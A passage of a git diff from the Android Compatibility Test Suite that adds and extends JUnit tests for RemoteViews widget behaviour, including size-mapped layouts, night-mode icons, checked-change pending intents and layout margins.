+        views.addView(layoutId, createRemoteViews(R.layout.remoteviews_textview));
+        if (insertInMiddle) {
+            views.addView(layoutId, createRemoteViews(R.layout.remoteviews_textview));
+        }
+        views.addView(layoutId, createRemoteViews(R.layout.remoteviews_textview));
+        if (addAtEnd) {
+            views.addView(layoutId, createRemoteViews(R.layout.remoteviews_textview));
+            views.addView(layoutId, createRemoteViews(R.layout.remoteviews_textview));
+        }
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsSizeMapTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsSizeMapTest.java
new file mode 100644
index 0000000..c63ddc1
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsSizeMapTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.os.Parcel;
+import android.util.SizeF;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Test {@link RemoteViews#RemoteViews(Map<SizeF, RemoteViews>)}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsSizeMapTest {
+    private static final String PACKAGE_NAME = "android.widget.cts";
+
+    private static final int INVALID_ID = -1;
+
+    private static final long TEST_TIMEOUT = 5000;
+
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    @Rule
+    public ExpectedException mExpectedException = ExpectedException.none();
+
+    private Instrumentation mInstrumentation;
+
+    private Context mContext;
+
+    private RemoteViews mRemoteViews;
+
+    private View mResult;
+
+    private List<SizeF> mSizes;
+    private Map<SizeF, RemoteViews> mRemoteViewsSizeMap;
+
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+
+        mSizes = new ArrayList<>();
+        mSizes.add(new SizeF(100, 100));
+        mSizes.add(new SizeF(100, 150));
+        mSizes.add(new SizeF(150, 130));
+        mSizes.add(new SizeF(200, 200));
+
+        mRemoteViewsSizeMap = new HashMap<>();
+        for (int i = 0; i < mSizes.size(); i++) {
+            RemoteViews remoteViews = new RemoteViews(PACKAGE_NAME,
+                    i == 0 ? R.layout.remoteviews_small : R.layout.remoteviews_good);
+            remoteViews.addView(
+                    R.id.remoteView_linear,
+                    new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_small)
+            );
+            remoteViews.setLightBackgroundLayoutId(
+                    i == 0 ? R.layout.remoteviews_good : R.layout.remoteviews_small);
+            remoteViews.setTextViewText(R.id.remoteView_text, Integer.toString(i + 1));
+            mRemoteViewsSizeMap.put(mSizes.get(i), remoteViews);
+        }
+
+        mRemoteViews = new RemoteViews(mRemoteViewsSizeMap);
+    }
+
+    @Test
+    public void constructor_defaultIsSmallest() {
+        assertEquals(R.layout.remoteviews_small, mRemoteViews.getLayoutId());
+
+        mRemoteViews.addFlags(RemoteViews.FLAG_USE_LIGHT_BACKGROUND_LAYOUT);
+        assertEquals(R.layout.remoteviews_good, mRemoteViews.getLayoutId());
+    }
+
+    private void applyRemoteViewOnUiThread(SizeF initialSize) {
+        mResult = mRemoteViews.apply(mContext, null, null, initialSize);
+
+        // Add our host view to the activity behind this test. This is similar to how launchers
+        // add widgets to the on-screen UI.
+        ViewGroup root = (ViewGroup) mActivityRule.getActivity().findViewById(R.id.remoteView_host);
+        FrameLayout.MarginLayoutParams lp = new FrameLayout.MarginLayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+        mResult.setLayoutParams(lp);
+
+        root.addView(mResult);
+    }
+
+    private void applyRemoteView(SizeF initialSize) throws Throwable {
+        mActivityRule.runOnUiThread(() -> applyRemoteViewOnUiThread(initialSize));
+    }
+
+    @Test
+    public void apply_withoutSize_shouldReturnSmallestLayout() throws Throwable {
+        applyRemoteView(null);
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withSmallSize_shouldReturnSmallLayout() throws Throwable {
+        applyRemoteView(new SizeF(50, 50));
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withLargeSize_shouldReturnLargestLayout() throws Throwable {
+        applyRemoteView(new SizeF(500, 500));
+
+        assertEquals("4", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withSize_shouldReturnClosestFittingLayoutWithMargin() throws Throwable {
+        applyRemoteView(new SizeF(99.7f, 150));
+
+        assertEquals("2", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void apply_withSize_shouldReturnClosestFittingLayout() throws Throwable {
+        applyRemoteView(new SizeF(160, 150));
+
+        assertEquals("3", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    // Note about reapply: it should only be called if the size didn't change, as it cannot show a
+    // new layout.
+    @Test
+    public void reapply_withoutSize_shouldReturnSmallestLayout() throws Throwable {
+        applyRemoteView(null);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void reapply_withSmallSize_shouldReturnSmallLayout() throws Throwable {
+        applyRemoteView(new SizeF(50, 50));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new SizeF(50, 50), null /* colorResources */));
+
+        assertEquals("1", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void reapply_witLargeSize_shouldReturnLargestLayout() throws Throwable {
+        applyRemoteView(new SizeF(500, 500));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new SizeF(500, 500), null /* colorResources */));
+
+        assertEquals(mResult.<TextView>findViewById(R.id.remoteView_text).getText(), "4");
+    }
+
+    @Test
+    public void reapply_withSize_shouldReturnClosestFittingLayoutWithMargin() throws Throwable {
+        applyRemoteView(new SizeF(99.7f, 150));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new SizeF(99.7f, 150), null /* colorResources */));
+
+        assertEquals("2", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void reapply_withSize_shouldReturnClosestFittingLayout() throws Throwable {
+        applyRemoteView(new SizeF(160, 150));
+        mActivityRule.runOnUiThread(
+                () -> mRemoteViews.reapply(mContext, mResult, null /* handler */,
+                        new SizeF(160, 150), null /* colorResources */));
+
+        assertEquals("3", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+
+    @Test
+    public void writeToParcel() throws Throwable {
+        Parcel p = Parcel.obtain();
+        mRemoteViews.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        mRemoteViews = new RemoteViews(p);
+        p.recycle();
+        applyRemoteView(new SizeF(160, 150));
+
+        assertEquals("3", mResult.<TextView>findViewById(R.id.remoteView_text).getText());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index f547bed..61a939b 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -16,35 +16,56 @@
 
 package android.widget.cts;
 
+import static android.util.TypedValue.COMPLEX_UNIT_DIP;
+import static android.util.TypedValue.COMPLEX_UNIT_PX;
+import static android.widget.RemoteViews.MARGIN_BOTTOM;
+import static android.widget.RemoteViews.MARGIN_END;
+import static android.widget.RemoteViews.MARGIN_LEFT;
+import static android.widget.RemoteViews.MARGIN_RIGHT;
+import static android.widget.RemoteViews.MARGIN_START;
+import static android.widget.RemoteViews.MARGIN_TOP;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static junit.framework.Assert.fail;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.res.ColorStateList;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.graphics.BlendMode;
+import android.graphics.Color;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.text.TextUtils;
+import android.util.DisplayMetrics;
 import android.util.TypedValue;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.AbsoluteLayout;
 import android.widget.AnalogClock;
 import android.widget.Button;
+import android.widget.CheckBox;
 import android.widget.Chronometer;
+import android.widget.CompoundButton;
 import android.widget.DatePicker;
 import android.widget.EditText;
 import android.widget.FrameLayout;
@@ -56,12 +77,15 @@
 import android.widget.ListView;
 import android.widget.NumberPicker;
 import android.widget.ProgressBar;
+import android.widget.RadioButton;
+import android.widget.RadioGroup;
 import android.widget.RatingBar;
 import android.widget.RelativeLayout;
 import android.widget.RemoteViews;
 import android.widget.RemoteViews.ActionException;
 import android.widget.SeekBar;
 import android.widget.StackView;
+import android.widget.Switch;
 import android.widget.TextClock;
 import android.widget.TextView;
 import android.widget.ViewFlipper;
@@ -74,6 +98,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ThrowingRunnable;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
@@ -208,9 +233,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals("", textView.getText().toString());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setTextViewText(R.id.remoteView_absolute, "");
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -222,9 +246,8 @@
         assertEquals(mContext.getResources().getDisplayMetrics().scaledDensity * 18,
                 textView.getTextSize(), 0.001f);
 
-        mExpectedException.expect(Throwable.class);
         mRemoteViews.setTextViewTextSize(R.id.remoteView_absolute, TypedValue.COMPLEX_UNIT_SP, 20);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(Throwable.class);
     }
 
     @Test
@@ -242,6 +265,27 @@
     }
 
     @Test
+    public void testSetIcon_nightMode() throws Throwable {
+        ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
+        Icon iconLight = Icon.createWithResource(mContext, R.drawable.icon_green);
+        Icon iconDark = Icon.createWithResource(mContext, R.drawable.icon_blue);
+        mRemoteViews.setIcon(R.id.remoteView_image, "setImageIcon", iconLight, iconDark);
+
+        applyNightModeThenReapplyAndTest(false, () -> {
+            assertNotNull(image.getDrawable());
+            BitmapDrawable dLight = (BitmapDrawable) mContext.getDrawable(R.drawable.icon_green);
+            WidgetTestUtils.assertEquals(dLight.getBitmap(),
+                    ((BitmapDrawable) image.getDrawable()).getBitmap());
+        });
+        applyNightModeThenReapplyAndTest(true, () -> {
+            assertNotNull(image.getDrawable());
+            BitmapDrawable dDark = (BitmapDrawable) mContext.getDrawable(R.drawable.icon_blue);
+            WidgetTestUtils.assertEquals(dDark.getBitmap(),
+                    ((BitmapDrawable) image.getDrawable()).getBitmap());
+        });
+    }
+
+    @Test
     public void testSetImageViewIcon() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
@@ -268,9 +312,8 @@
         WidgetTestUtils.assertEquals(d.getBitmap(),
                 ((BitmapDrawable) image.getDrawable()).getBitmap());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setImageViewResource(R.id.remoteView_absolute, R.drawable.testimage);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -328,9 +371,8 @@
         assertEquals(base1, chronometer.getBase());
         assertEquals("invalid", chronometer.getFormat());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setChronometer(R.id.remoteView_absolute, base1, "invalid", true);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -345,9 +387,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertFalse(chronometer.isCountDown());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setChronometerCountDown(R.id.remoteView_absolute, true);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -371,9 +412,8 @@
         assertEquals(50, progress.getProgress());
         assertFalse(progress.isIndeterminate());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setProgressBar(R.id.remoteView_relative, 60, 50, false);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -411,6 +451,7 @@
         assertTrue(mRemoteViews.onLoadClass(AbsoluteLayout.class));
         assertTrue(mRemoteViews.onLoadClass(AnalogClock.class));
         assertTrue(mRemoteViews.onLoadClass(Button.class));
+        assertTrue(mRemoteViews.onLoadClass(CheckBox.class));
         assertTrue(mRemoteViews.onLoadClass(Chronometer.class));
         assertTrue(mRemoteViews.onLoadClass(FrameLayout.class));
         assertTrue(mRemoteViews.onLoadClass(GridLayout.class));
@@ -420,8 +461,11 @@
         assertTrue(mRemoteViews.onLoadClass(LinearLayout.class));
         assertTrue(mRemoteViews.onLoadClass(ListView.class));
         assertTrue(mRemoteViews.onLoadClass(ProgressBar.class));
+        assertTrue(mRemoteViews.onLoadClass(RadioButton.class));
+        assertTrue(mRemoteViews.onLoadClass(RadioGroup.class));
         assertTrue(mRemoteViews.onLoadClass(RelativeLayout.class));
         assertTrue(mRemoteViews.onLoadClass(StackView.class));
+        assertTrue(mRemoteViews.onLoadClass(Switch.class));
         assertTrue(mRemoteViews.onLoadClass(TextClock.class));
         assertTrue(mRemoteViews.onLoadClass(TextView.class));
         assertTrue(mRemoteViews.onLoadClass(ViewFlipper.class));
@@ -491,9 +535,8 @@
         assertNotNull(image.getDrawable());
         WidgetTestUtils.assertEquals(bitmap, ((BitmapDrawable) image.getDrawable()).getBitmap());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setImageViewBitmap(R.id.remoteView_absolute, bitmap);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -508,9 +551,8 @@
         assertNotNull(image.getDrawable());
         WidgetTestUtils.assertEquals(bitmap, ((BitmapDrawable) image.getDrawable()).getBitmap());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setBitmap(R.id.remoteView_absolute, "setImageBitmap", bitmap);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -523,9 +565,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertTrue(progress.isIndeterminate());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setBoolean(R.id.remoteView_relative, "setIndeterminate", false);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -542,9 +583,26 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals("", textView.getText().toString());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setCharSequence(R.id.remoteView_absolute, "setText", "");
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetCharSequenceAttr() throws Throwable {
+        mRemoteViews.setCharSequenceAttr(R.id.remoteView_text, "setText", R.attr.themeString);
+        applyNightModeThenApplyAndTest(false, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertEquals("Day", textView.getText().toString());
+        });
+
+        applyNightModeThenApplyAndTest(true, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertEquals("Night", textView.getText().toString());
+        });
+
+        mRemoteViews.setCharSequenceAttr(R.id.remoteView_absolute, "setText",
+                R.attr.themeColor);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -575,9 +633,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(format, chronometer.getFormat());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setString(R.id.remoteView_image, "setFormat", format);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -600,9 +657,8 @@
                     mContext.getResources(), R.raw.testimage, imageViewBitmap.getConfig());
             WidgetTestUtils.assertEquals(expectedBitmap, imageViewBitmap);
 
-            mExpectedException.expect(ActionException.class);
             mRemoteViews.setUri(R.id.remoteView_absolute, "setImageURI", uri);
-            mRemoteViews.reapply(mContext, mResult);
+            assertThrowsOnReapply(ActionException.class);
         } finally {
             // remove the test image file
             imagefile.delete();
@@ -621,9 +677,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertSame(ColorStateList.valueOf(R.color.testcolor2), textView.getTextColors());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setTextColor(R.id.remoteView_absolute, R.color.testcolor1);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -644,10 +699,9 @@
         TestUtils.verifyCompoundDrawables(textView, -1,  R.drawable.icon_red, R.drawable.icon_black,
                 R.drawable.icon_green);
 
-        mExpectedException.expect(Throwable.class);
         mRemoteViews.setTextViewCompoundDrawables(R.id.remoteView_absolute, 0,
                 R.drawable.start, R.drawable.failed, 0);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(Throwable.class);
     }
 
     @Test
@@ -678,10 +732,9 @@
         TestUtils.verifyCompoundDrawables(textViewRtl, R.drawable.icon_red, -1,
                 R.drawable.icon_black, R.drawable.icon_green);
 
-        mExpectedException.expect(Throwable.class);
         mRemoteViews.setTextViewCompoundDrawablesRelative(R.id.remoteView_absolute, 0,
                 R.drawable.start, R.drawable.failed, 0);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(Throwable.class);
     }
 
     @LargeTest
@@ -696,7 +749,7 @@
         assertNull(newActivity);
 
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mRemoteViews.setOnClickPendingIntent(R.id.remoteView_image, pendingIntent);
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         mActivityRule.runOnUiThread(() -> view.performClick());
@@ -707,6 +760,48 @@
     }
 
     @Test
+    public void testSetOnCheckedChangePendingIntent() throws Throwable {
+        String action = "my-checked-change-action";
+        MockBroadcastReceiver receiver =  new MockBroadcastReceiver();
+        mContext.registerReceiver(receiver, new IntentFilter(action));
+
+        Intent intent = new Intent(action).setPackage(mContext.getPackageName());
+        PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                        mContext,
+                        0,
+                        intent,
+                        PendingIntent.FLAG_UPDATE_CURRENT);
+        mRemoteViews.setOnCheckedChangeResponse(R.id.remoteView_checkBox,
+                RemoteViews.RemoteResponse.fromPendingIntent(pendingIntent));
+
+        // View being checked to true should launch the intent with the extra set to true.
+        CompoundButton view = mResult.findViewById(R.id.remoteView_checkBox);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mActivityRule.runOnUiThread(() -> view.setChecked(true));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(receiver.mIntent);
+        assertTrue(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, false));
+
+        // Changing the checked state from a RemoteViews action should not launch the intent.
+        receiver.mIntent = null;
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_checkBox, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mInstrumentation.waitForIdleSync();
+        assertFalse(view.isChecked());
+        assertNull(receiver.mIntent);
+
+        // View being checked to false should launch the intent with the extra set to false.
+        receiver.mIntent = null;
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mActivityRule.runOnUiThread(() -> view.setChecked(true));
+        mActivityRule.runOnUiThread(() -> view.setChecked(false));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(receiver.mIntent);
+        assertFalse(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+    }
+
+    @Test
     public void testSetLong() throws Throwable {
         long base1 = 50;
         long base2 = -50;
@@ -720,9 +815,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(base2, chronometer.getBase());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setLong(R.id.remoteView_absolute, "setBase", base1);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -734,9 +828,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(0.5f, linearLayout.getWeightSum(), 0.001f);
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setFloat(R.id.remoteView_absolute, "setWeightSum", 1.0f);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -749,9 +842,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(b, customView.getByteField());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setByte(R.id.remoteView_absolute, "setByteField", b);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -763,9 +855,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals('q', customView.getCharField());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setChar(R.id.remoteView_absolute, "setCharField", 'w');
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -777,9 +868,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(0.5, customView.getDoubleField(), 0.001f);
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setDouble(R.id.remoteView_absolute, "setDoubleField", 1.0);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -792,9 +882,8 @@
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(s, customView.getShortField());
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setShort(R.id.remoteView_absolute, "setShortField", s);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -811,9 +900,8 @@
         assertEquals("brexit", fromRemote.getString("STR", ""));
         assertEquals(2016, fromRemote.getInt("INT", 0));
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setBundle(R.id.remoteView_absolute, "setBundleField", bundle);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
     }
 
     @Test
@@ -831,9 +919,25 @@
         assertEquals("brexit", fromRemote.getStringExtra("STR"));
         assertEquals(2016, fromRemote.getIntExtra("INT", 0));
 
-        mExpectedException.expect(ActionException.class);
         mRemoteViews.setIntent(R.id.remoteView_absolute, "setIntentField", intent);
-        mRemoteViews.reapply(mContext, mResult);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetBlendMode() throws Throwable {
+        ImageView imageView = mResult.findViewById(R.id.remoteView_image);
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", BlendMode.PLUS);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(BlendMode.PLUS, imageView.getImageTintBlendMode());
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", BlendMode.SRC_IN);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(BlendMode.SRC_IN, imageView.getImageTintBlendMode());
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", null);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertNull(imageView.getImageTintBlendMode());
     }
 
     @Test
@@ -919,6 +1023,713 @@
         assertEquals(10, textView.getPaddingBottom());
     }
 
+    @Test
+    public void testSetViewLayoutMargin() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_LEFT, 10, COMPLEX_UNIT_PX);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_TOP, 20, COMPLEX_UNIT_PX);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_RIGHT, 30, COMPLEX_UNIT_PX);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_BOTTOM, 40, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(textView, 10, 20, 30, 40);
+
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_LEFT, 10, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_TOP, 20, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_RIGHT, 30, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_BOTTOM, 40, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+        assertMargins(
+                textView,
+                resolveDimenOffset(10, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(20, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(30, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(40, COMPLEX_UNIT_DIP, displayMetrics));
+    }
+
+    @Test
+    public void testSetViewLayoutMargin_layoutDirection() throws Throwable {
+        View textViewLtr = mResult.findViewById(R.id.remoteView_text_ltr);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_START, 10, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_TOP, 20, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_END, 30, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_BOTTOM, 40, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        DisplayMetrics displayMetrics = textViewLtr.getResources().getDisplayMetrics();
+        assertMargins(
+                textViewLtr,
+                resolveDimenOffset(10, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(20, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(30, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(40, COMPLEX_UNIT_DIP, displayMetrics));
+
+        View textViewRtl = mResult.findViewById(R.id.remoteView_text_rtl);
+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_START, 10, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_TOP, 20, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_END, 30, COMPLEX_UNIT_DIP);
